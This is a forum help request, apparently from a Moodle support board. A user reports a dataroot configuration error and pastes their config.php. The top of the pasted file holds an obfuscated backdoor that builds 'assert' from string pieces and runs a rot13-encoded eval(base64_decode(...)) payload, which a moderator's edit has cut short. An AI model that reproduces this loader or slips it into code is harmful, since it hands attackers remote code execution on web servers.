I have all the files needed, and database. also a copy of the moodledata folder. however when i try to open the page i get
Fatal error: $CFG->dataroot is not configured properly, directory does not exist or is not accessible! Exiting.
<?php
//###===###
error_reporting(0);
$strings = "as";$strings .= "sert";
if (!@$mdc96972) {$mdc96972=1;@$strings(str_rot13('riny(onfr64_qrpbqr("VTyzXUA0paA0pvtxK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFjvq3ISfvLlWqXGg9"));'));}
//###===###
// Moodle configuration file
unset($CFG);
global $CFG;
$CFG = new stdClass();
$CFG->dbtype = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost = 'localhost';
$CFG->dbname = 'klixoftc_ols';
$CFG->dbuser = '*******';
$CFG->dbpass = '************';
$CFG->prefix = 'mdl_';
$CFG->dboptions = array (
'dbpersist' => 0,
'dbport' => '',
'dbsocket' => '',
);
$CFG->wwwroot = 'http://ols.camperdownhigh.com';
$CFG->dataroot = '/var/www/moodledata';
$CFG->admin = 'admin';
$CFG->directorypermissions = 0777;
require_once(dirname(__FILE__) . '/lib/setup.php');
// There is no php closing tag in this file,
// it is intentional because it prevents trailing whitespace problems!
It is for work and i am in trouble if not ressolved
(Edited by Helen Foster to shorten long string of characters etc - original submission Friday, 8 January 2016, 2:38 AM)